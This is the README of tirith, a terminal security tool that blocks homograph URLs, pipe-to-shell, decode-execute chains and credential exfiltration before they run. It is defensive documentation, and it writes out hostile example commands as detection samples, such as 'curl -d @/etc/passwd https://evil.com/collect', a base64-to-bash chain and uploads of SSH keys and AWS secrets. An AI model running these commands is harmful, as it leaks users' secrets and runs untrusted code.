
Terminal security for developers and AI agents. Intercepts homograph URLs, pipe-to-shell, ANSI injection, obfuscated payloads, data exfiltration, and malicious AI skills/configs before they execute.
# tirith
**Your browser would catch this. Your terminal won't.**
<p align="center">
<img src="https://assets.kitploit.com/production/public/readmes/11454/e8bf601682b2f9f38e53011dbe66be548699859fd54c0751d7f4639bb49edf6d.png" alt="tirith, terminal security" width="100%" />
</p>
[](https://github.com/sheeki03/tirith/actions/workflows/ci.yml)
[](https://github.com/sheeki03/tirith/stargazers)
[](LICENSE-AGPL)
[Website](https://tirith.sh) | [Docs](https://tirith.sh/docs) | [SKILL.md](https://github.com/sheeki03/tirith/blob/main/SKILL.md) | [Changelog](https://github.com/sheeki03/tirith/blob/main/CHANGELOG.md) | [Releases](https://github.com/sheeki03/tirith/releases)
<a href="https://vercel.com/open-source-program">
<img alt="Vercel OSS Program" src="https://vercel.com/oss/program-badge-2026.svg" />
</a>
<sub>Independent open-source project, with hosting supported by the Vercel Open Source Program (Spring 2026 Cohort).</sub>
---
Can you spot the difference?
```
curl -sSL https://install.example-cli.dev | bash # safe
curl -sSL https://іnstall.example-clі.dev | bash # compromised
```
You can't. Neither can your terminal. Both `і` characters are Cyrillic (U+0456), not Latin `i`. The second URL resolves to an attacker's server. The script executes before you notice.
Browsers solved this years ago. Terminals still render Unicode, ANSI escapes, and invisible characters without question. AI agents run shell commands and install packages without inspecting what's inside.
**Tirith stands at the gate.** It intercepts commands, pasted content, and scanned files for homograph URLs, obfuscated payloads, credential exfiltration, malicious AI skills/configs, and known-bad packages/domains/IPs from a signed threat intelligence database before they execute.
```bash
brew install tirith
```
Then activate in your shell profile:
```bash
# zsh
eval "$(tirith init --shell zsh)"
# bash
eval "$(tirith init --shell bash)"
# fish
tirith init --shell fish | source
```
> [!TIP]
> `eval "$(tirith init)"` auto-detects your current shell (it inspects the parent process and falls back to `$SHELL` if needed). The explicit `--shell` flag is only required when you want to override the detection.
That's it for interactive-shell coverage. Commands accepted by that shell are
checked while the hook is loaded and healthy; exact blocking behavior depends
on the shell and mode. Run `tirith doctor` after installation and upgrades, and
read [enforcement by shell](#enforcement-by-shell) before treating the hook as
an authorization boundary. Clean commands stay silent and normally take the
fast path.
Also available via [npm](#cross-platform), [cargo](#cross-platform), [mise](#cross-platform), [apt/dnf](#linux-packages), and [more](#install).
---
## See it work
**Homograph attack, blocked before execution:**
```
$ curl -sSL https://іnstall.example-clі.dev | bash
tirith: BLOCKED
[CRITICAL] non_ascii_hostname, Cyrillic і (U+0456) in hostname
This is a homograph attack. The URL visually mimics a legitimate
domain but resolves to a completely different server.
Bypass: prefix your command with TIRITH=0 (applies to that command only)
```
The command never executes.
**Pipe-to-shell with clean URL, warned, not blocked:**
```
$ curl -fsSL https://get.docker.com | sh
tirith: WARNING
[MEDIUM] pipe_to_interpreter, Download piped to interpreter
Consider downloading first and reviewing.
```
Warning prints to stderr. Command still runs.
**Base64 decode-execute chain, blocked:**
```
$ echo payload | base64 -d | bash
tirith: BLOCKED
[HIGH] base64_decode_execute, Base64 decode piped to interpreter
[HIGH] pipe_to_interpreter, Pipe to interpreter: base64 | bash
```
Catches decode chains through sudo/env wrappers and PowerShell `-EncodedCommand` too.
**Credential exfiltration, blocked:**
```
$ curl -d @/etc/passwd https://evil.com/collect
tirith: BLOCKED
[HIGH] data_exfiltration, Data exfiltration via curl upload
curl command uploads sensitive data to a remote server
```
Covers all curl/wget upload flags, env vars (`$AWS_SECRET_ACCESS_KEY`), and command substitution.
**Malicious skill file, caught on scan:**
```
$ tirith scan evil_skill.py
tirith scan: evil_skill.py, 3 finding(s)
[MEDIUM] dynamic_code_execution, exec() near b64decode() in close proximity
[MEDIUM] obfuscated_payload, Long base64 string decoded and executed
[MEDIUM] suspicious_code_exfiltration, HTTP call passes sensitive data as argument
```
Scans JS/Python files for obfuscated payloads, dynamic code execution, and secret exfiltration patterns.
**Normal commands, invisible:**
```
$ git status
$ ls -la
$ docker compose up -d
```
Nothing. Zero output. You forget tirith is running.
---
## What it catches
**244 detection rules across 35 categories.**
| Category | What it stops |
|----------|--------------|
| **Homograph attacks** | Cyrillic/Greek lookalikes in hostnames, punycode domains, mixed-script labels, lookalike TLDs, confusable domains, text-level confusable detection (math alphanumerics, same-word mixed-script) |
| **Terminal injection** | ANSI escape sequences, bidi overrides, zero-width characters, unicode tags, invisible math operators, variation selectors, Hangul fillers |
| **Steganography defense** | Invisible whitespace encoding (12 Unicode space variants), Mongolian Vowel Separator, Hangul Filler characters, math alphanumeric substitution, defenses against st3gg-style text steganography |
| **Pipe-to-shell** | `curl \| bash`, `wget \| sh`, `httpie \| sh`, `xh \| sh`, `python <(curl ...)`, `eval $(wget ...)`, plus many wrapper, decode, and indirection paths |
| **Base64 decode-execute** | `base64 -d \| bash`, `python -c "exec(b64decode(...))"`, `powershell -EncodedCommand`, decode chains through sudo/env wrappers |
| **Data exfiltration** | `curl -d @/etc/passwd`, `curl -T ~/.ssh/id_rsa`, `wget --post-file`, env var uploads (`$AWS_SECRET_ACCESS_KEY`), command substitution exfil |
| **Code file scanning** | Obfuscated payloads (`eval(atob(...))`), dynamic code execution (`exec(b64decode(...))`), secret exfiltration via `fetch`/`requests.post` in JS/Python files |
| **Credential detection** | AWS keys, GitHub PATs, Stripe/Slack/SendGrid/Anthropic/GCP/npm tokens, private key blocks, plus entropy-based generic secret detection |
| **Post-compromise behavior** | Process memory scraping (`/proc/*/mem`), Docker remote privilege escalation, credential file sweeps, calibrated against TeamPCP and UNC1069 post-compromise tooling |
| **Command safety** | Dotfile overwrites, archive extraction to sensitive paths, cloud metadata endpoint access, private network access |
| **Insecure transport** | Plain HTTP piped to shell, `curl -k`, disabled TLS verification, shortened URLs hiding destinations |
| **Environment** | Proxy hijacking, sensitive env exports, code injection via env, interpreter hijack, shell injection env |
| **Config file security** | Config injection, suspicious indicators, non-ASCII/invisible unicode in configs, MCP server security (insecure/untrusted/duplicate/permissive) |
| **Ecosystem threats** | Git clone typosquats, untrusted Docker registries, pip/npm URL installs, web3 RPC endpoints, vet-not-configured |
| **Install-command safety** | APT repos added from a piped download, `[trusted=yes]` / `--allow-unauthenticated` / `--nogpgcheck` / pacman `SigLevel = Never` (disabled signature checks), `kubectl apply -f` against raw/shortened remote manifests, Helm charts from untrusted repos, Terraform modules from untrusted remote sources, `brew install`/`tap` from arbitrary URLs |
| **Path analysis** | Non-ASCII paths, homoglyphs in paths, double-encoding |
| **Rendered content** | Hidden CSS/color content, hidden HTML attributes, comment content analysis (prompt injection at High, destructive commands at Medium) |
| **Cloaking detection** | Server-side cloaking (bot vs browser), clipboard hidden content, PDF hidden text |
| **Windows / PowerShell** | `Set-ExecutionPolicy Bypass` / `-ep`, Windows Defender exclusions (`Add-MpPreference -Exclusion*`), inline `iex (iwr ...)` download-execute |
| **Terminal output defense** | OSC 52 clipboard writes, fake prompts, OSC 8 hyperlink and title / clear-screen manipulation, prompt injection inside command or MCP tool output (scanned both raw and deobfuscated, so invisible-character, confusable, spaced-out, leetspeak, and short base64 / hex evasions are caught too), and output data exfiltration (beacon URLs or "read a secret then send it" directives) |
| **Operational context** | Destructive commands against labeled-prod cloud / k8s contexts and SSH hosts, Terraform / Pulumi / OpenTofu `apply` without a matching saved plan, risky sudo escalation, privileged `docker run` |
| **Workstation & persistence** | Loose-permission credential files and plaintext tokens (`~/.ssh`, `~/.aws`, `.npmrc`), persistence footholds (shell rc, `authorized_keys`, crontab, LaunchAgents, git `core.hooksPath`), PATH-hijack ordering, executable provenance, risky aliases, and sensitive env-var lifecycle |
| **Blast radius & correlation** | Deletes that escape the repo, mass deletions, executing files downloaded from risky sources, and session chains such as secret-write then network or delete then `git push --force` |
| **Trust, attestation & provenance** | Signed command-card mismatch, canary honeytoken touches, paste source-host mismatch, caller-origin (agent) policy denials, MCP lockfile drift, and AI-config drift versus a known-safe snapshot |
| **Web3 command guard** | On-chain writes from Cast / Forge / Hardhat / Solana / Anchor commands (High when the same command also disables a declared safety control), raw private-key, keypair, or mnemonic material on the command line, and an RPC endpoint or signer the operator's `web3_guard` policy does not trust. Grammar and policy only: no chain state is read, no transaction is simulated, and no address is scored |
| **Wallet exfiltration** | Reviewed wallet, keystore, browser-wallet, and Solana-keypair material flowing to a proven remote sink, including archive, base64, hex, compressor, and encryptor staging hops and `xargs` / `find -exec` operand promotion. A source-only read is deliberately not a finding |
| **CI artifact poisoning** | A fork-reachable workflow that uploads a build artifact, consumed by a privileged `workflow_run` workflow bound to the triggering run that then executes, sources, PATH-mutates, publishes, or deploys it |
---
## What tirith does NOT protect against
Tirith analyzes the **structure** of commands, pasted text, and files before
they execute. It is a pre-execution gate, not a runtime defense, and does not
cover:
- **General runtime sandboxing:** ordinary shell hooks and `tirith check` warn
or block; they do not isolate a command after launch. The explicit
`capsule run --preset untrusted-project` and enforcing `pkg install` paths
provide fail-closed containment only on supported x86_64 Linux hosts.
- **Post-execution network monitoring:** what a process does on the network after
launch is out of scope.
- **General malware / payload detection:** tirith is not an antivirus and does
not detonate a payload. It analyzes structure and can match exact indicators
and artifact/file hashes from the signed threat database, but an unknown
payload is not proven benign by the absence of a match. (`tirith run` checks
a downloaded script's structure; it is still not dynamic malware analysis.)
- **A privileged root/admin attacker:** anyone already root or admin can bypass
tirith trivially. It defends against tricked input, not an attacker who already
owns the machine.
- **Anti-debugging / anti-tampering:** tirith does not resist reverse engineering
or protect its own binary from a local attacker.
- **On-chain analysis:** the Web3 guard reads command grammar. It does not read
chain state, simulate a transaction, resolve ENS, score an address, audit a
contract, or watch a mempool.
- **An npm artifact firewall:** tirith parses npm command grammar and registry
identity facts, and can ask the project's own npm for its signature and
provenance state. It does not download, extract, quarantine, or bind the
tarball bytes npm installs. The contained, hash-pinned artifact firewall is
Python-only.
- **Browser forensics or monitoring:** `tirith browser audit` is an explicit,
one-shot, read-only integrity audit of extension source trees. It never reads
cookies, history, saved passwords, storage, wallet databases, or `Local
State`, never removes or quarantines anything, and has no daemon.
- **Reproducible builds:** an `attest` receipt records what two trees contained
at one moment. Tirith does not run your build and cannot say the output came
from the source. A deployment receipt is a point-in-time measurement, not
continuous monitoring.
See [docs/threat-model.md](https://github.com/sheeki03/tirith/blob/main/docs/threat-model.md) for the full threat model and
explicit non-goals, and
[docs/enforcement-coverage.md](https://github.com/sheeki03/tirith/blob/main/docs/enforcement-coverage.md) for a
capability-by-capability ledger of what tirith detects, decides, enforces,
contains, and attests.
---
## Known limitations
- **Shell-hook fragility:** protection depends on a shell hook staying installed
and active. Hooks can break or silently degrade across shells, shell versions,
prompt frameworks, and history tools. Run `tirith doctor` to check live state
and watch for warn-only degradation.
- **Full or read-only temporary storage:** zsh and fish capture input through a
scratch file before invoking Tirith and fail closed when that file cannot be
created. A full/read-only `TMPDIR` can therefore refuse every command, and
`TIRITH=0` cannot recover because the binary is never reached. Follow the
recovery steps in [troubleshooting](https://github.com/sheeki03/tirith/blob/main/docs/troubleshooting.md).
- **Platform-limited features:** daemon mode, `tirith run`, and `tirith fetch`
are Unix surfaces. `tirith run --no-exec` remains an inspection workflow
there, but live remote-script execution is Linux-only and refuses before
download on every other host. `tirith setup` is cross-platform, while each
host integration has its own platform contract (for example Cline has POSIX
and Windows wrappers; OpenHands' blocking hook is Unix-only).
- **Package-name extraction scope:** covers language ecosystems (pip,
npm/yarn/pnpm/bun, cargo, gem, go, composer, dotnet, mvn/gradle), not distro
package managers (`apt`, `dnf`, `yum`, `pacman`).
- **AI-agent caveats:** shell-hook interception only guards commands that go
through a hooked interactive shell. An agent that spawns a non-interactive
shell, calls `exec` directly, or runs without the hook loaded is not covered
by that layer. MCP registration is cooperative unless calls are routed
through the gateway. A supported pre-tool hook can automatically withhold a
host command, but only when that host loaded and honored it; several hosts
fail open when a hook process errors. Verify the effective host, not just the
presence of a config file.
- **Host-hook failure behavior:** Grok Build, Cline, and OpenHands allow the
tool when their hook process crashes or times out. Tirith's adapter denies on
its own errors by default, but it cannot make a host honor a process that did
not return. Re-run setup if a pinned interpreter moves and test the real host
after every upgrade.
- **Prime Agent IPython is source-level extraction:** the guard covers shell
escapes/magics and common `os`, `subprocess`, and `pty.spawn` forms, but it is
not a Python runtime sandbox. A wrapper defined in an earlier cell,
reflection such as `getattr`/`__import__`, or a third-party package that
spawns a process can escape what a source lexer can prove.
- **Custom-DLP and machine output:** broad `dlp_custom_patterns` can currently
rewrite protocol-owned string values in recursively redacted JSON/MCP
projections, including generated identifiers or receipt metadata. Avoid
patterns that can match structural values when consuming signed or
machine-stable output; this needs field-aware redaction before release.
- **Unattended install approval:** `tirith install --yes` is accepted as the
package-manager task gate's unattended `require_approval` channel. It is an
explicit operator flag, not proof of a human TTY confirmation. Use a blocking
task policy where unattended execution must be impossible.
- **Interpreted MCP binding:** exact interpreted-server binding hashes the
repository tree under fixed caps instead of discovering a true dependency
closure, so large trees, symlinks, or special files can refuse launch. It
revalidates before spawn but does not execute interpreter inputs from sealed
reviewed descriptors; concurrent same-user mutation remains a verify-to-load
gap.
- **Task-gate coverage:** task effect inference models the Web3 shell grammar
and nothing else, so nearly every ordinary SHELL command is reported
INCOMPLETE. `task_gate.mode: enforce` with `action_incomplete_analysis: block`
refuses those at the five boundaries that submit a shell envelope, and changes
nothing at the four package and config-write boundaries, which always assess
as complete. `warn` is the default. The alternative,
`effects_denied_for_untrusted_sources`, denies the named effect on every call
at every owned boundary, including commands you typed yourself, because no
source at those boundaries is ever treated as trusted.
- **Containment is x86_64 Linux:** `tirith capsule run --preset
untrusted-project` and enforcing `tirith pkg install` are enforceable only on
x86_64 Linux with a usable Landlock ABI. Every other host refuses before
anything is copied or spawned, with no degraded fallback. Domain
allow-listing is not offered by any backend.
- **Nested-shell exfiltration gap:** a sensitive read inside a nested shell body
whose sink is outside it, such as `bash -c "cat <wallet>" | curl -d @- <url>`,
is not correlated today. The same chain wholly inside or wholly outside the
`-c` body is detected.
- **Execution-evidence grades:** a Linux launch is confirmed only after its
stopped `exec` transition, durable state update, authorized resume, and
terminal launcher proof all complete. A gateway call is confirmed only by an
exact correlated result. Shell observations and forwarded gateway calls that
time out or are cancelled remain conservative unresolved evidence, never
confirmed execution. Strict shell receipts are available for interactive
bash, zsh, and fish; PowerShell remains preflight-only. Native Linux launcher
behavior must be verified by Linux CI or a native Linux host; neither portable
source/unit coverage nor a macOS build can substitute.
- **Web3 coverage gaps:** `forge create` is not yet modelled on engine surfaces;
several declared `web3_guard` fields are parsed but not enforced; and
schema-2 command-card Web3 bindings do not yet have a CLI authoring or live
engine-consumption path. Treat these as known gaps, not silent authorization.
---
## Threat intelligence
Tirith ships a signed local threat database for package, hostname, and IP reputation. When a shell hook or `tirith check` sees a package install or suspicious infrastructure reference, it matches that input against the database before the command executes, instead of relying only on static heuristics.
**Signed DB** (built by CI, verified on download and load):
- Known-malicious packages from [OpenSSF Malicious Packages](https://github.com/ossf/malicious-packages) and [Datadog Security Labs](https://github.com/DataDog/malicious-software-packages-dataset)
- Malicious IP infrastructure from [Feodo Tracker](https://feodotracker.abuse.ch/) (abuse.ch)
- Confirmed typosquats and popular-package baselines from [ecosyste.ms](https://ecosyste.ms/)
- [CISA Known Exploited Vulnerabilities](https://www.cisa.gov/known-exploited-vulnerabilities-catalog) catalog for runtime advisory correlation
ThreatDB v2 adds exact artifact SHA-256 values, installed-file hashes,
malicious URLs, campaign membership, and behavior tags. The signed index,
updater, compiler, and loader support v1 and v2 during the staged cutover,
reject sequence rollback, publish transactionally, and retain a signed
last-known-good database when an update is incomplete or invalid. The
DigitalSide source is implemented but intentionally inactive until its
freshness and operating contract are approved.
**Optional supplemental feeds** (user-local overlay):
- [URLhaus](https://urlhaus.abuse.ch/) and [ThreatFox](https://threatfox.abuse.ch/) via an abuse.ch auth key
- [PhishTank](https://phishtank.org/) (Cisco Talos) and [Phishing Army](https://phishing.army/) blocklists
- Tor exit node list from [Tor Project](https://www.torproject.org/)
**Optional live enrichment** during `tirith check` and daemon mode:
- [OSV.dev](https://osv.dev/) advisory lookups (Google OSS)
- [deps.dev](https://deps.dev/) package health signals (Google OSS) and [ecosyste.ms](https://ecosyste.ms/) maintainer data
- [Google Safe Browsing](https://safebrowsing.google.com/) URL reputation with your own API key
```bash
tirith threat-db update # download + verify the signed DB
tirith threat-db status # age, signature, version, entry counts
tirith threat-db health # install, signature, staleness, counts
tirith threat-db sources # list every feed the DB is built from
tirith threat-db explain react # what the DB knows about an indicator
tirith threat-db diff --since 2026-01-01 # count changes since a version/date
```
By default, shell hooks and `tirith check` trigger a cheap background refresh check every 24 hours. Daemon mode keeps the same enrichment path warm in the background.
`threat-db explain` accepts a domain, a package name (`name`, `ecosystem:name`, or `name@version`), or an IPv4 address. The binary retains no per-entry history, so `threat-db diff` reports category and per-source count deltas between snapshots, not the exact entries changed. Every `threat-db` command takes `--format json`; `threatdb` is an alias.
### Package risk scoring
`tirith package risk <ecosystem> <name>` scores a package's supply-chain / maintainer risk the way `tirith score` scores a URL, a **deterministic, fully explainable sum of named factors**, no model and no learned weights. `tirith package explain <ecosystem> <name>` adds the factor-by-factor derivation; both take `--format json`.
```bash
tirith package risk npm react # 0/100, a known-popular package
tirith package risk npm reqeusts # high, one edit from a popular name
tirith package explain pypi flask # factor-by-factor derivation
tirith package risk npm left-pad --path ./node_modules/left-pad
tirith package risk --online npm react # also consult the registry API
```
**Offline by default.** With no flags, every signal is local, with no network call: (1) **name vs. popular packages**: known-popular, unknown, or a one-edit near-miss of a popular name (the classic typosquat/slopsquat shape), from the local threat database's `popular` set; (2) **known malicious typosquat**: an exact match in the threat DB's `typosquat` index; (3) **install / lifecycle scripts** and (4) **bundled binary blobs**, detected only when the package content is locally available (under `node_modules` / `site-packages`, or via `--path`). tirith **never downloads** the package.
**`--online` adds registry provenance.** It consults the package's registry (npm, PyPI, or crates.io) for six more factors in the *same* factor-sum model: package/version age, an established package with no owners, an abnormal version spike, very low downloads, a missing source repo, and yanked/deprecated status. It is the only path on which `package risk` itself reaches the network; `tirith check` and daemon mode have a separate, policy-controlled runtime enrichment path. `--offline` / `TIRITH_OFFLINE` force this scorer offline regardless. Failures fall back to the offline score with an honest `api signals: unavailable`, and responses are cached with a TTL so repeated runs do not hammer the registries.
The score is advisory and standalone: `package risk` is not a detection rule and changes no verdict, exit code, or audit log.
### Ecosystem scan and dependency risk
`tirith ecosystem scan [path]` is the directory-level companion to `package risk`. It walks a project, discovers every dependency manifest it understands, npm (`package.json`, `package-lock.json`), Python (`requirements*.txt`, `pyproject.toml`), Rust (`Cargo.toml`), Go (`go.mod`), Ruby (`Gemfile`), and scores **every declared dependency** with the same deterministic `package_risk` factor engine.
```bash
tirith ecosystem scan # scan the current project
tirith ecosystem scan ./my-project # scan a specific directory
tirith ecosystem scan --online ./my-project # also consult the registry API
tirith ecosystem scan --format json ./ # full machine-readable report
```
**It folds in slopsquat detection.** *Slopsquatting* is the registration of a plausible-but-fake name that LLMs tend to hallucinate as a dependency. `ecosystem scan` flags one only when **all three** hold: the name is not known-real or popular, it is **shaped like an AI hallucination** (a language prefix like `python-` / `node-` plus descriptive tokens, a stack of generic filler like `helper` / `utils` / `client`, or an unusually long name), **and** it sits near a real popular name (a one-edit near-miss, or it embeds a popular name as a word). Requiring all three keeps false positives low: an honest `data-utils` with no popular anchor does not fire.
**Offline by default, opt-in `--online`.** Name and typosquat signals come from the local threat database; `--online` adds registry provenance, gated and degraded exactly as `package risk --online`. This flag controls the ecosystem scan and does not alter `tirith check`'s independent runtime-enrichment policy. Findings flow through tirith's normal `Verdict` / `Finding` model: explainable (`tirith explain --rule threat_suspicious_package`), audit-logged, and respecting the policy allowlist (an allowlisted package, by bare name or `ecosystem:name`, is suppressed). Exit codes match `tirith scan`: `1` for a blocking finding, `2` for advisory, `0` when clean.
This helps catch known-malicious packages, confirmed typosquats, slopsquatted package names, malicious download infrastructure, and packages with live OSV / CISA KEV advisory data.
### Python artifact inspection and enforcing installs
Package-name risk is only one layer. Tirith can inspect the exact Python bytes
you already have and, on supported hosts, enforce a hash-pinned install plan:
```bash
# Local evidence: never downloads an artifact
tirith package inspect --artifact dist/example-1.0-py3-none-any.whl
tirith package inspect --artifact-set ./downloaded-wheels
tirith package inspect --installed ./.venv
# Enforcing pip workflow: x86_64 Linux only
tirith pkg trust-tool /absolute/path/to/static-uv
tirith pkg approve pip requests==2.31.0 --target .tirith-pkg
tirith pkg install pip requests==2.31.0 --target .tirith-pkg
tirith pkg verify-env --target .tirith-pkg requests
```
Inspection covers wheel structure and identity, RECORD integrity and file
ownership, Python startup hooks, native ELF/Mach-O/PE extensions, execution
edges, and loader/payload splits across distributions. `pkg graph`, `pkg diff`,
`pkg attest`, and `pkg receipt` expose the corresponding provenance and receipt
evidence.
The enforcing path supports **pip on x86_64 Linux only** and requires the
documented native authority, a newly dedicated target directory, and an
enrolled fully static native `uv`. Every unsupported platform fails closed
before pip starts; it never falls back to an ordinary install. npm and Cargo
remain non-enforcing evidence surfaces. See the
[0.4.0 release notes](https://github.com/sheeki03/tirith/blob/main/docs/release-notes-0.4.0.md) and
[command reference](https://github.com/sheeki03/tirith/blob/main/docs/commands.md).
**Attack families tirith is built for** (illustrative, not a caught-by-current-code claim):
| Incident | Year | Attack shape |
|---|---|---|
| [Shai-Hulud npm worm](https://socket.dev/blog/shai-hulud-worm) | 2025 | Self-propagating package malware; exfiltrated GitHub tokens and AWS keys from 180+ packages, published findings to public `Shai-Hulud` repos |
| [Slopsquatting](https://socket.dev/blog/slopsquatting-how-ai-hallucinations-are-fueling-a-new-class-of-supply-chain-attacks) | 2023 to ongoing | Attackers register LLM-hallucinated package names on npm / PyPI / crates.io; [USENIX 2025](https://www.usenix.org/system/files/conference/usenixsecurity25/sec25cycle1-prepub-742-spracklen.pdf) found 58% of hallucinated names repeat across runs |
| Team PCP / UNC1069 tooling | ongoing | Post-compromise credential sweeps, `/proc/*/mem` scraping, Docker privilege escalation |
| [colors.js / faker.js sabotage](https://snyk.io/blog/open-source-npm-packages-colors-faker/) | 2022 | Author self-sabotage of widely-used packages |
| [event-stream compromise](https://github.com/dominictarr/event-stream/issues/116) | 2018 | Transferred ownership to attacker; payload targeted Bitcoin wallets |
Package-name extraction currently covers language ecosystems (pip, npm/yarn/pnpm/bun, cargo, gem, go, composer, dotnet, mvn/gradle), not distro-level package managers (`apt` / `dnf` / `yum` / `pacman`). That's why xz-utils, which entered through Linux distro tarballs, is not in the table despite being a headline incident.
---
## AI agent security
Tirith adds several independent protection layers around AI coding agents:
config scanning, cooperative MCP tools, an MCP gateway, interactive-shell
hooks, and host-native pre-tool hooks where the host exposes a documented
blocking contract. Coverage depends on which layer the host actually loads.
### Shell hooks, passive command interception
When an AI agent executes through a hooked interactive shell (Claude Code,
Codex, Cursor, etc.), tirith's shell hook checks that interactive command before
the shell accepts it. This does not cover a non-interactive shell, a direct
`exec`, or an agent process that never loaded the hook:
- **Blocks dangerous commands**: homograph URLs, pipe-to-shell, insecure downloads
- **Blocks malicious paste**: ANSI injection, bidi attacks, hidden multiline in pasted content
- **Agent-independent interactive gate**: no agent-specific integration is
needed when that agent actually uses the protected interactive shell
- **Zero agent modification**: the agent doesn't know tirith exists until a command is blocked
Use `tirith setup <tool>` for one-command configuration (see [AI Agent Integrations](#ai-agent-integrations)).
### MCP server (6 cross-platform tools; 7 on Unix)
Run `tirith mcp-server` or use `tirith setup <tool> --with-mcp` to register tirith as an MCP server. AI agents can call these tools before taking action:
| Tool | What it does |
|------|-------------|
| `tirith_check_command` | Analyze shell commands for pipe-to-shell, homograph URLs, env injection |
| `tirith_check_url` | Score URLs for homograph attacks, punycode tricks, shortened URLs, raw IPs |
| `tirith_check_paste` | Check pasted content for ANSI escapes, bidi controls, zero-width chars |
| `tirith_scan_file` | Scan a file for hidden content, invisible Unicode, config poisoning |
| `tirith_scan_directory` | Recursive scan with AI config file prioritization |
| `tirith_verify_mcp_config` | Validate MCP configs for insecure servers, shell injection in args, wildcard tools |
| `tirith_fetch_cloaking` | Detect server-side cloaking (different content for bots vs browsers) |
The default `tools/list` is a frozen compatibility contract, because clients
cache it and a tool that appears unannounced changes what an agent believes it
may call. A preview tool, `tirith_check_task`, is therefore **not advertised by
default**: run `TIRITH_MCP_PREVIEW=1 tirith mcp-server` to advertise it, and
without that opt-in a client that calls it by name is refused by name. See
[docs/task-envelope.md](https://github.com/sheeki03/tirith/blob/main/docs/task-envelope.md).
### MCP server governance
---
[Read more](https://github.com/sheeki03/tirith)